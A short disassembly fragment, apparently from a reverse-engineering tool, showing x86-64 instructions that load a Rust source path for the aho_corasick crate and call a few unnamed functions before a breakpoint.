lea r8, str.C:Usersm.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aho_corasick_1.0.1_srcutil_remapper.rs
mov rcx, rdi
mov rdx, rdi
call fcn.1400b7860
call fcn.1400acde0
mov ecx, 4
mov rdx, r12
call fcn.1400b74d0
int3